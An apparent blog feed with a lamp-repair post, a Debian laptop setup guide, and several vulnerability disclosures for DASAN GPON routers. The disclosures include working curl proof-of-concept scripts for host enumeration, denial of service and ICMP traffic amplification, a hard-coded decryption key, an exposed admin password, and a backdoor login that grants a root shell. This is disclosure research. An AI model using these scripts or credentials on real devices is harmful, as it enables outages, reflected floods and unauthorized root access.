Krzysztof Burghardt’s blog https://blog.burghardt.pl Create. Break. Fix. Repeat. Sat, 06 Jul 2019 01:16:18 +0000 en-US hourly 1 https://blog.burghardt.pl/wp-content/uploads/2020/09/cropped-512px-Glider.svg_-1-32x32.png Krzysztof Burghardt’s blog https://blog.burghardt.pl 32 32 Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04 https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/ https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/#comments Sat, 06 Jul 2019 00:42:32 +0000 https://blog.burghardt.pl/?p=493 Kupiłem lampę insektobójczą Blaupunkt BP-GIK04. I to był błąd. LED INSECT KILLER BP-GIK04 z LED łączy tylko nazwa. Urządzenie wyposażone jest w świetlówkę kompaktową UV. Wyprodukowane zostało w PRC z kilku kawałków tworzywa sztucznego oraz kliku niezbyt solidnie połączonych kabelków. Niestety nie działało. Za pierwszym razem, w dostarczonym urządzeniu działał tylko wentylator. Zostało ono wymienione … Continue reading "Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04"

The post Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04 first appeared on Krzysztof Burghardt’s blog.]]> Kupiłem lampę insektobójczą Blaupunkt BP-GIK04. I to był błąd. LED INSECT KILLER BP-GIK04 z LED łączy tylko nazwa. Urządzenie wyposażone jest w świetlówkę kompaktową UV. Wyprodukowane zostało w PRC z kilku kawałków tworzywa sztucznego oraz kliku niezbyt solidnie połączonych kabelków. Niestety nie działało. Za pierwszym razem, w dostarczonym urządzeniu działał tylko wentylator. Zostało ono wymienione przez sprzedawcę na kolejne, równie niedziałające urządzenie. W drugim egzemplarzu nie działała ani świetlówka, ani wentylator.

Instrukcja kłamie

Gdy coś nie działa zaczynamy od instrukcji obsługi.

Instrukcja obsługi

Co mówi instrukcja na temat usterek?

Nienaprawialne. Wyrzucić. Albo lampa, albo płytka z elektroniką (PCB). Obie niewymienialne. Może to tylko polska wersja?

Niestety.

Świetlówki też nie wymienisz. A w ogóle to stracisz gwarancję, a użytkowanie nie będzie już tak bezpieczne jak kiedyś.

Zwracam zatem przedmiot sprzedawcy, a ten wysyła mi kolejny. Sprawdzony i w 100% sprawny.

Drugie urządzenie

Drugiego dnia, licząc od odesłania niesprawnego egzemplarza, otrzymuję przesyłkę z drugim urządzeniem. Podłączam. Świetlówka nie działa, a wentylator… też nie działa.

Dzwonię do sprzedawcy i mówię mu, że TO DRUGIE TEŻ MI NIE DZIAŁA! Sprzedawca informuje, że jeszcze wczoraj działało. Było sprawdzone przed włożeniem do pudełka i naklejeniem etykiety. Obaj zgadzamy się tylko w jednej kwestii – że TO DZIWNE. Sprzedawcę z audio-cars.com.pl szczerze polecam. Sam zadzwonił, gdy napisałem mu wiadomość, że lampa nie działa. Upewnił się, że wiem, gdzie jest włącznik. Szybko wysłał drugą sztukę.

Niby mogę i tę lampę odesłać. Ale tego już próbowałem. Jeśli jeszcze wczoraj było sprawne, a dziś już nie jest, to albo w transporcie rozpadło się to PCB, albo uszkodziła się świetlówka. Ale silnik wentylatora by pracował, jak w pierwszej sztuce. Czyli elektronika. Ta niewymienialna.

Są wkręty, więc można rozmontować. Pierwszy przy włączniku. Pięć pozostałych na obwodzie górnej pokrywy. Wykręcone. Obudowa zdjęta. Ale gdzie jest ta elektronika?

NIE MA. To urządzenie nie ma żadnego PCB (ok, w świetlówce kompaktowej pewnie coś jest). Przewody są spięte na pająka za pomocą tulejek zaciskowych, a z jednej z nich, wysuwając się nieśmiało, macha do mnie wesoło, miedzianą rączką, przewód fazowy idący od włącznika. To pewnie dlatego w instrukcji napisali, że przed otwieraniem należy odłączyć urządzenie od sieci zasilającej.

Aby usunąć tuleję zaciskową wystarczy za nią pociągnąć. Pozostałe przewody wysuwają się bez żadnego oporu.

Drugą tuleją wystarczy mocno potrząsnąć i wszystkie przewody mamy już luźno zwisające. Taki sposób montażu wyjaśnia dlaczego urządzenie przed transportem działało, a po przeturlaniu się przez sortownię firmy kurierskiej, już nie działa. Wstrząsy doprowadziły do powypadania przewodów. Prawdopodobnie w pierwszej sztuce wyleciał przewód idący do… oprawki E27. Bo świetlówka jest wkręcona w oprawkę i jak najbardziej można ją wymienić. Wystarczy odkręcić wkręt zabezpieczający osłonę oprawki, przekręcić osłonę, tak jak otwiera się pojemnik na insekty i usunąć osłonę. Następnie można zwyczajnie wykręcić starą i wkręcić nową, świetlówkę, w oprawkę. I wymienione. Choć – zgodnie z instrukcją – niewymienialne.

Lutowanie

Cała naprawa sprowadza się do poprawnego połączenia przewodów.

Skręcić.

Zlutować.

Zaizolować.

I świeci!

Żale końcowe

Urządzenie, choć nie tanie, wykonane jest naprawdę tanio. Żadnej elektroniki, silnika BLDC, czy diod LED UV (wbrew nazwie i informacji na stronie producenta). Oprawka E27, włącznik kołyskowy, silnik na 230V i krótki kawałek przewodu zasilającego. Szału nie ma. Żeby chociaż działało po wyjęciu z pudełka.

Natomiast łączenie w tulejce drutu miedzianego z aluminiowym i miedzianą linką, to już tańsza forma chińskiego druciarstwa.

Po naprawie: Czy to działa?

Komary zdają się nie posiadać z radości, że naprawiłem lampę i zajmują najlepsze miejsca na lampie i w jej pojemniku.

Prawa autorskie ;-)

Autorom instrukcji przypominam o dozwolonym użytku prywatnym i publicznym. Wszystkie fragmenty instrukcji przytoczono zgodnie z prawem cytatu w celu wyjaśniania (że to kłamstwa), polemiki (z tymi bzdurami) i analizy krytycznej. Miejscami nawet bardzo krytycznej.

Enjoy it!

Instrukcja zapewnia jedynie ochronę blatu biurka podczas lutowania. Enjoy it.

The post Sam naprawiam lampę insektobójczą Blaupunkt BP-GIK04 first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2019/07/sam-naprawiam-lampe-insektobojcza-blaupunkt-bp-gik04/feed/ 2 diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/ https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/#comments Mon, 18 Mar 2019 14:09:37 +0000 https://blog.burghardt.pl/?p=476 diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to device enumeration on LAN interface and DoS attacks against both device and network. CWE-862: Missing Authorization weakness in diag_tool.cgi allows remote attacker to spawn ping (and traceroute) processes on affected devices without authorization. Moreover similar bug in diag_get_result.cgi … Continue reading "diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks"

The post diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks first appeared on Krzysztof Burghardt’s blog.]]> diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to device enumeration on LAN interface and DoS attacks against both device and network.

CWE-862: Missing Authorization weakness in diag_tool.cgi allows remote attacker to spawn ping (and traceroute) processes on affected devices without authorization. Moreover similar bug in diag_get_result.cgi allows attacker to retrieve command output. Arbitrary command injection using ; or ` (back ticks) does not seems to work (which make this different than CVE-2018-10561 and CVE-2018-17869).

This vulnerability was assigned CVE-2019-9974.

Information disclosure

Remote attacker could enumerate hosts on LAN interface sending requests to /cgi-bin/diag_tool.cgi with ip parameter set to target IP address. Lack of authorization in /cgi-bin/diag_get_result.cgi allow retrieval of results. Each call to diag_get_result.cgi retrieves one line of ping (or traceroute) output. The only argument is line number. Lines 1-4 are reserved for diagnostic interface PASS/FAIL reporting and should be ignored. $1 is vulnerable router. $2 is target device.

#!/bin/sh
curl -k "http://$1/cgi-bin/diag_tool.cgi?ip=$2&cmd=ping&c=3&s=1&e=1&f=1&g=1"

sleep 10

for LINENO in $(seq 5 15)
do
    curl -k "http://$1/cgi-bin/diag_get_result.cgi?a=$LINENO" 2>/dev/null | \
        sed -e 's/\n//g'
done

Denial of service against device

Same CGI script has another weakness, CWE-400: Uncontrolled Resource Consumption, which allows memory memory exhaustion Denial of Service (DoS) attack against device. Around 170 spawned ping processes is enough to cause crash and reboot of router. PoC follows.

#!/bin/sh
for I in $(seq 0 200); do
    echo $I
    curl -k -m0.1 "http://$1/cgi-bin/diag_tool.cgi?ip=$2&cmd=ping&c=999999&s=1&e=1&f=1&g=1"
done

Traffic reflection and amplification

As diag_tool.cgi does not enforce any limits on ping command arguments, so attacker can easily combine large c parameter (number of packets) with maximal s parameter (size of single ICMP message). This makes DASAN device great traffic amplifier where single HTTP GET call can reflect 999999999*65507 bytes to target. Theoretical amplification is about 65TB (ICMP message len * 999…) for each ~2kB GET request. Pretty amazing comparing to memcached amplification (up to 1MB of response per request) or SSDP amplification (up to 26x bandwidth amplification).

As ping sends one packet per second and up to 150 simultaneous ping processes could be spawned without risking device crash theoretical ICMP traffic is 65507*150 bytes per second (or ~9MB/s or 72 Mbps).

#!/bin/sh
for I in $(seq 0 150); do
    curl -k -m0.1 "http://$1/cgi-bin/diag_tool.cgi?ip=$2&cmd=ping&c=999999999&s=65507&e=1&f=1&g=1"
done

Note on 9s. Busybox’s ping seem to support up to 999999999 (9 times 9) as maximal -c param, while iputils’ ping supports up to 99999999999 (11 times 9).

The post diag_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 allows spawning ping processes without any authorization leading to information disclosure and DoS attacks first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2019/03/diag_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-allows-spawning-ping-processes-without-any-authorization-leading-to-information-disclosure-and-dos-attacks/feed/ 2 Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/ https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/#respond Mon, 18 Mar 2019 14:02:29 +0000 https://blog.burghardt.pl/?p=473 Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 (and possibly other) saves post data, including credentials, to /tmp/boa-temp. Moreover this file is not sanitized after request has been processed, which allow retrieval of login credential possible until another POST request is made. This vulnerability was assigned CVE-2019-9976. CWE-377: Insecure Temporary File weakness exists in … Continue reading "Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp"

The post Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp first appeared on Krzysztof Burghardt’s blog.]]> Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 (and possibly other) saves post data, including credentials, to /tmp/boa-temp. Moreover this file is not sanitized after request has been processed, which allow retrieval of login credential possible until another POST request is made.

This vulnerability was assigned CVE-2019-9976.


CWE-377: Insecure Temporary File weakness exists in Boa Webserver. Exploitation requires ability to login on device. This could be accomplished using CVE-2019-8950.

Exploitation is possible for users logged in over telnet of SSH. If user logged though Web UI and until he make any other POST request, his credentials can be retrieved with:

$ cat /tmp/boa-temp
StatusActionFlag=-1&Username=admin&Password=vertex25
The post Boa Webserver on DASAN H660RM devices with firmware 1.03-0022 saves post data, including credentials, to /tmp/boa-temp first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2019/03/boa-webserver-on-dasan-h660rm-devices-with-firmware-1-03-0022-saves-post-data-including-credentials-to-tmp-boa-temp/feed/ 0 syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/ https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/#respond Mon, 18 Mar 2019 13:48:11 +0000 https://blog.burghardt.pl/?p=471 DASAN H660RM devices with firmware 1.03-0022 (and possibly other) uses a hard-coded key “dasanektks123” for logs encryption. Data stored using this key can be decrypted by anyone able to access this key. This vulnerability was assigned CVE-2019-9975. CWE-321: Use of Hard-coded Cryptographic Key weakness exists in syslog_tool.cgi: ENC_PASSWORD="dasanektks123" TMP_SYSLOG_FOLDER="/tmp/var/log/syslog/" ENCRYPT_FILE="syslog_`date +%Y_%m_%d_%H_%M_%S`.tar.gz" COMPRESS_FILE="syslog_compress.tar.gz" Script syslog_tool.cgi uses … Continue reading "syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption"

The post syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption first appeared on Krzysztof Burghardt’s blog.]]> DASAN H660RM devices with firmware 1.03-0022 (and possibly other) uses a hard-coded key “dasanektks123” for logs encryption. Data stored using this key can be decrypted by anyone able to access this key.

This vulnerability was assigned CVE-2019-9975.


CWE-321: Use of Hard-coded Cryptographic Key weakness exists in syslog_tool.cgi:

ENC_PASSWORD="dasanektks123"
TMP_SYSLOG_FOLDER="/tmp/var/log/syslog/"
ENCRYPT_FILE="syslog_`date +%Y_%m_%d_%H_%M_%S`.tar.gz"
COMPRESS_FILE="syslog_compress.tar.gz"

Script syslog_tool.cgi uses OpenSSL’s aes-128-cbc encryption. Logs can be decrypted with command:

openssl enc -aes-128-cbc -d -k dasanektks123 -in encrypted.tar.gz -out cleartext.tar.gz

Decryption of logs follows.

kali ~/Downloads $ la
total 136K
drwxr-xr-x  2 user user 4.0K Mar  8 21:41 ./
drwx------ 23 user user 4.0K Mar  8 21:41 ../
-rw-r--r--  1 user user 127K Mar  8 20:12 syslog_1970_01_01_00_18_49.tar.gz
kali ~/Downloads $ file *
syslog_1970_01_01_00_18_49.tar.gz: openssl enc'd data with salted password
kali ~/Downloads $ openssl enc -aes-128-cbc -d -k dasanektks123 -in syslog_1970_01_01_00_18_49.tar.gz -out cleartext-syslog_1970_01_01_00_18_49.tar.gz
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
kali ~/Downloads $ file *
cleartext-syslog_1970_01_01_00_18_49.tar.gz: gzip compressed data, max compression, from Unix, original size 735232
syslog_1970_01_01_00_18_49.tar.gz:           openssl enc'd data with salted password
kali ~/Downloads $ tar xvf cleartext-syslog_1970_01_01_00_18_49.tar.gz
data/log/
data/log/messages
kali ~/Downloads $ head data/log/messages
=== [REBOOT REASON] ==============================
POWERBOOT_BY_LOCAL e30ef88d
=== [LOG - BEGIN] ============================
=== [LOG - END] ==============================
Jan  1 00:01:08 kernel: klogd started: BusyBox v1.00 (2017.11.10-07:25+0000)
Jan  1 00:01:08 kernel: Error! phy_I2C_read return value = 0
Jan  1 00:01:08 kernel: u1DevAddr:0x51, u4WordAddr:0x70
Jan  1 00:01:08 kernel: _SIF_DrvRawRead:^M
Jan  1 00:01:08 kernel: Error sub-addr!
Jan  1 00:01:08 kernel: Error! phy_I2C_read return value = 0
The post syslog_tool.cgi on DASAN H660RM devices with firmware 1.03-0022 uses a hard-coded key for logs encryption first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2019/03/syslog_tool-cgi-on-dasan-h660rm-devices-with-firmware-1-03-0022-uses-a-hard-coded-key-for-logs-encryption/feed/ 0 DASAN H665 has vendor backdoor built into BusyBox’s /bin/login https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/ https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/#comments Fri, 15 Feb 2019 16:29:35 +0000 https://blog.burghardt.pl/?p=452 DASAN H665 has vendor backdoor built into BusyBox /bin/login. Account named “dnsekakf2$$” gives access to admin (uid 0) account over telnet, at least for administration interface documented in H665 QIG (Quick Guide). DASAN H665 is GPON Optical Network Terminal (ONT). It could work as router/NAT or bridge and allow End User to Web Access device … Continue reading "DASAN H665 has vendor backdoor built into BusyBox’s /bin/login"

The post DASAN H665 has vendor backdoor built into BusyBox’s /bin/login first appeared on Krzysztof Burghardt’s blog.]]> DASAN H665 has vendor backdoor built into BusyBox /bin/login. Account named “dnsekakf2$$” gives access to admin (uid 0) account over telnet, at least for administration interface documented in H665 QIG (Quick Guide).

DASAN H665 is GPON Optical Network Terminal (ONT). It could work as router/NAT or bridge and allow End User to Web Access device at http://192.168.55.1/. Depending on device’s configuration it might assign different 192.168.X.0/24 subnet over DHCP, but device still reply to traffic on 192.168.55.1 from any devices in 192.168.55.0/24 subnet.

This vulnerability was assigned CVE-2019-8950.


It seems default assigned DHCP subnet (192.168.18.0/24) does not allow Web Access.

$ nmap --top-ports 1000 192.168.18.1

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-15 15:13 UTC
Nmap scan report for 192.168.18.1
Host is up (0.058s latency).
Not shown: 995 closed ports
PORT      STATE    SERVICE
21/tcp    filtered ftp
22/tcp    filtered ssh
23/tcp    filtered telnet
179/tcp   filtered bgp
20000/tcp filtered dnp

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds

Switch to 192.168.55.0/24 subnet reveals unfiltered ports.

$ nmap --top-ports 1000 192.168.55.1

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-15 15:14 UTC
Nmap scan report for 192.168.55.1
Host is up (0.0071s latency).
Not shown: 995 closed ports
PORT    STATE    SERVICE
21/tcp  filtered ftp
22/tcp  filtered ssh
23/tcp  open     telnet
80/tcp  open     http
161/tcp filtered snmp

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

Both Web Access and telnet server allow user to login with credentials provided in H665 Quick Guide: user/1234. User access is somehow limited (!uid 0), but /bin/sh and BusyBox utilities works. Especially handy was ftpput command for easy firmware extraction for further offline analysis.

$ telnet 192.168.55.1
Trying 192.168.55.1...
Connected to 192.168.55.1.
Escape character is '^]'.
tc login: user
Password:
$ uname -a
Linux tc 2.6.36 #1 SMP Wed Jan 3 09:32:57 UTC 2018 mips unknown
$ head /proc/cpuinfo
system type             : Ralink MT751020 SOC
processor               : 0
cpu model               : MIPS 34Kc V5.5
BogoMIPS                : 432.53
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 64
extra interrupt vector  : yes
hardware watchpoint     : yes, count: 4, address/irw mask: [0x0ffc, 0x0688, 0x0ffb, 0x0ffb]
ASEs implemented        : mips16 dsp mt
$ head /proc/meminfo
MemTotal:         123956 kB
MemFree:           80320 kB
Buffers:            2216 kB
Cached:            11716 kB
SwapCached:            0 kB
Active:             7344 kB
Inactive:           9380 kB
Active(anon):       2792 kB
Inactive(anon):        0 kB
Active(file):       4552 kB
$ mount
/dev/mtdblock3 on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /tmp type ramfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock8 on /data type jffs2 (rw,relatime)
$ df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/mtdblock3            7040      7040         0 100% /
/dev/mtdblock8            2048       484      1564  24% /data
$ cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00040000 00020000 "bootloader"
mtd1: 00040000 00020000 "romfile"
mtd2: 00136335 00020000 "kernel"
mtd3: 006d0000 00020000 "rootfs"
mtd4: 030e0000 00020000 "tclinux"
mtd5: 00136839 00020000 "kernel_slave"
mtd6: 006e0000 00020000 "rootfs_slave"
mtd7: 02ae0000 00020000 "tclinux_slave"
mtd8: 00200000 00020000 "user_rootfs"
mtd9: 00500000 00020000 "user_config"
mtd10: 000a0000 00020000 "reservearea"

I tried to reverse analyze some files from / and images made with dd if=/dev/mtdblockX of=/tmp/X. Analysis of difference between open source BusyBox binary for MIPS architecture and vendor’s binary reveals additional strings embedded in busybox’s login applet.

One additional string catch my attention: “Try to connect using hidden account“.

$ file busybox
busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
$ sha256sum busybox
8472a9bd96d7e7a1b36480486bcf8ea1eb551dea087ddbd2052f99605b3a9fc8  busybox

Interesting part is here (or on ODA with ID: 6RcsVb3u):

.rodata: 00475ad0 20 6f 6e 20 60 25 2e 31 30 30 73 27 00 00 00 00  on `%.100s'....
.rodata: 00475ae0 64 6e 73 65 6b 61 6b 66 32 24 24 00 61 64 6d 69 dnsekakf2$$.admi
.rodata: 00475af0 6e 00 00 00 24 31 24 24 33 6e 77 48 51 41 45 35 n...$1$$3nwHQAE5
.rodata: 00475b00 31 42 4c 57 47 6d 70 66 4e 6d 74 31 33 31 00 00 1BLWGmpfNmt131..
.rodata: 00475b10 2f 62 69 6e 2f 73 68 00 54 72 79 20 74 6f 20 63 /bin/sh.Try to c
.rodata: 00475b20 6f 6e 6e 65 63 74 20 75 73 69 6e 67 20 68 69 64 onnect using hid
.rodata: 00475b30 64 65 6e 20 61 63 63 6f 75 6e 74 0a 00 00 00 00 den account.....
.rodata: 00475b40 2f 65 74 63 2f 75 73 65 72 74 74 79 00 00 00 00 /etc/usertty....
.rodata: 00475b50 46 69 6c 65 20 6f 70 65 6e 20 66 61 69 6c 65 64 File open failed
.rodata: 00475b60 28 25 73 29 28 25 73 29 20 0a 00 00 4c 6f 67 69 (%s)(%s) ...Logi
.rodata: 00475b70 6e 20 69 6e 63 6f 72 72 65 63 74 00 69 6e 76 61 n incorrect.inva
.rodata: 00475b80 6c 69 64 20 70 61 73 73 77 6f 72 64 20 66 6f 72 lid password for
.rodata: 00475b90 20 60 25 73 27 25 73 0a 00 00 00 00 0d 0a 53 79  `%s'%s.......Sy

Disassemble of code that use this string and surrounding ones reveals author’s intent. Here is a Ghidra screenshot.

If login is equal to “dnsekakf2$$” than user “admin” with shell set to “/bin/sh” and password hash “$1$$3nwHQAE51BLWGmpfNmt131” is logged in as “root” (with uid=0 and gid=0).

Login session using not-so-hidden-anymore account:

$ telnet 192.168.55.1
Trying 192.168.55.1...
Connected to 192.168.55.1.
Escape character is '^]'.
tc login: dnsekakf2$$
# uname -a
Linux tc 2.6.36 #1 SMP Wed Jan 3 09:32:57 UTC 2018 mips unknown
# tail -n1 /data/log/messages
Feb 15 16:59:26 login[26929]: Try to connect using hidden account

Vulnerable device details:

  • Equipment Name: G-PON ONT
  • Model: H665
  • Part No.: DPW:G-P-H6650T-F5
  • Version: Firmware-1.46p1-0028
  • Manufacturer: DASAN Network Solutions, Inc.
  • Date of Production: 2018.12

Update 1 @ 01.03.2018: I’v got another device. Different model and firmware version, but also vulnerable. Details of second sample:

  • Equipment Name: G-PON ONT
  • Model: H660RM
  • Part No.: DPW:G-P-H660RM-F5
  • Version: Firmware-1.03-0022
  • Manufacturer: DASAN Network Solutions, Inc.
  • Date of Production: 2018.07

Another problems with the same (or very similar) device was already documented by Gergő Huszty in Reverse engineering my Fiber-to-the-Home GPON device article. Want to read even more about GPON ONT (in)security? Take a look on GPON FTTH networks (in)security research by Pierre Kim.

The post DASAN H665 has vendor backdoor built into BusyBox’s /bin/login first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2019/02/dasan-h665-has-vendor-backdoor-built-into-busyboxs-bin-login/feed/ 2 ESE Key Daemon 1.2.7 released https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/ https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/#comments Mon, 05 Jul 2010 07:35:52 +0000 http://blog.burghardt.pl/?p=432 New version of ESE Key Daemon was released today. New features include the ability to handle multiple key combinations and distinguish between key presses and releases. A problem with the handling of the last line in a configuration file when there is no newline on the last line is gone. Numeric keys are now also … Continue reading "ESE Key Daemon 1.2.7 released"

The post ESE Key Daemon 1.2.7 released first appeared on Krzysztof Burghardt’s blog.]]> New version of ESE Key Daemon was released today.

New features include the ability to handle multiple key combinations and distinguish between key presses and releases. A problem with the handling of the last line in a configuration file when there is no newline on the last line is gone. Numeric keys are now also allowed in the configuration file.

Download: esekeyd-1.2.7.tar.gz (.asc)

MD5: 5937ad6d7815dbc6ab6983411a9f37d4
SHA1: 07671be42b61973a3270aaf1b41c3467568ae7ac

The post ESE Key Daemon 1.2.7 released first appeared on Krzysztof Burghardt’s blog.]]> https://blog.burghardt.pl/2010/07/ese-key-daemon-1-2-7-released/feed/ 3 Debian GNU/Linux on Dell Inspiron 1764 https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/ https://blog.burghardt.pl/2010/04/debian-gnulinux-on-dell-inspiron-1764/#comments Mon, 26 Apr 2010 18:17:59 +0000 http://www.burghardt.pl/?p=387 Installing, configuring and using Debian GNU/Linux on Dell Inspiron 1764 (N0476409) notebook. Hardware overview Intel Core i5-520M (2.4GHz, 4 Threads, turbo Boost up to 2.93GHz, 3M cache) 17.3″ WLED High Definition+ (1600×900) TFT Display 1GB ATI Mobility Radeon HD 5450 4096MB 1067MHz Dual Channel DDR3 SDRAM (2×2048) 500GB (5400RPM) Serial ATA Hard Drive DVD +/- … Continue reading "Debian GNU/Linux on Dell Inspiron 1764"

The post Debian GNU/Linux on Dell Inspiron 1764 first appeared on Krzysztof Burghardt’s blog.]]> Installing, configuring and using Debian GNU/Linux on Dell Inspiron 1764 (N0476409) notebook.

Hardware overview

  • Intel Core i5-520M (2.4GHz, 4 Threads, turbo Boost up to 2.93GHz, 3M cache)
  • 17.3″ WLED High Definition+ (1600×900) TFT Display
  • 1GB ATI Mobility Radeon HD 5450
  • 4096MB 1067MHz Dual Channel DDR3 SDRAM (2×2048)
  • 500GB (5400RPM) Serial ATA Hard Drive
  • DVD +/- RW Drive (read/write CD & DVD)
  • Dell Wireless 1520 (802.11a/b/g/n)
  • Dell Bluetooth 365
  • Integrated 1,3MP webcam

Devices that works with Linux

  • CPU: both cores and HT works, recent Linux kernels support speedstep,
  • USB: works (even with Debian Installer images),
  • DVD+/-RW: works (even with Debian Installer images),
  • Graphic: basic features (2D, hardware accelerated 3D rendering) works with proprietary drivers only, most other features (CAL, POWERplay, multihead) unsupported; no FLOSS alternative,
  • Sound: works, but I need to pass options to module to make sound work properly,
  • Ethernet: works (even with Debian Installer images),
  • Wireless LAN: basic features (STA mode) supported by proprietary drivers only, other features (monitor mode and packet injection) not supported; no FLOSS alternative,
  • Bluetooth: works (as HCI only after reset with hid2hci),
  • Card reader: works (tested with MicroSD and Memory Stick PRO Duo, both with adapters),
  • Webcam: works.

Also “Suspend to RAM” works using sysfs method of hibernate script. “Suspend to disk” works using ususpend method.

Devices that does not work with Linux

  • none :-D

Devices

Configuration

Graphic

Download and install fglrx driver. Google is full of instruction how to install it, so I skip this step.

When driver is installed and fglrx is loaded into kernel its time to configure X.Org. Probably aticonfig would be best choice, but it fails on Mobility Radeon HD 5000 series cards with message:

# aticonfig --initial
aticonfig: No supported adapters detected

Download my xorg.conf and put it into /etc/X11 directory. Then start X-server using startx command. My default layout include Inspiron’s built-in TFT screen, ATI Mobility Radeon HD 5450, ALPS touchpad and any other mice connected to it.

You will probably see “AMD unsupported hardware” watermark in lower right corner of the screen. There is no configuration option to remove it. Removal is possible by patching fglrx_drv.so file. Kano posted small script to replace call to EnableLogo with NOPs on Phoronix Forums’ thread “Unsupported Hardware watermark”:

#!/bin/sh
DRIVER=/usr/lib/xorg/modules/drivers/fglrx_drv.so
for x in $(objdump -d $DRIVER|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
 sed -i "s/$x/\x90\x90\x90\x90\x90/g" $DRIVER
done

Sound

Create file /etc/modprobe.d/sound with following content:

alias snd-card-0 snd-hda-intel
options snd-hda-intel model=dell index=0

Reload alsa driver (or reboot).

Wireless LAN

Drivers need to be compiled from sources. First prepare your system for kernel module building. Install build-essential and module-assistant packages.Then prepare kernel headers:

# aptitude install build-essential module-assistant
# m-a prepare

When kernel headers are ready download 802.11 Linux STA driver for Broadcom’s IEEE 802.11a/b/g/n devices (this includes BCM4311, BCM4312, BCM4313, BCM4321 and BCM4322). Compile it. Install. And finally load into running kernel:

# cd /usr/src
# wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc-x86_64-v5.60.48.36.tar.gz
# mkdir hybrid-portsrc-x86_64-v5.60.48.36
# cd hybrid-portsrc-x86_64-v5.60.48.36
# tar zxf ../hybrid-portsrc-x86_64-v5.60.48.36.tar.gz
# make
# mkdir /lib/modules/`uname -r`/local
# cp wl.ko /lib/modules/`uname -r`/local
# depmod -A
# modprobe -v wl

Command dmesg | tail should output something similar to this:

wlan0: Broadcom BCM4353 802.11 Hybrid Wireless Controller 5.60.48.36

Bluetooth

Dell Bluetooth 365 is detected as HCI on kernel 2.6.32-bpo.4-amd64 only if previously reset with hid2hci (get a copy form bluez 4.6). This is actually a feature, not a bug. Use recent hid2hci to put device into HCI mode:

# hid2hci -m dell -v 413c -p 8162
Attempting to switch device 413c:8162 to HCI mode was successful
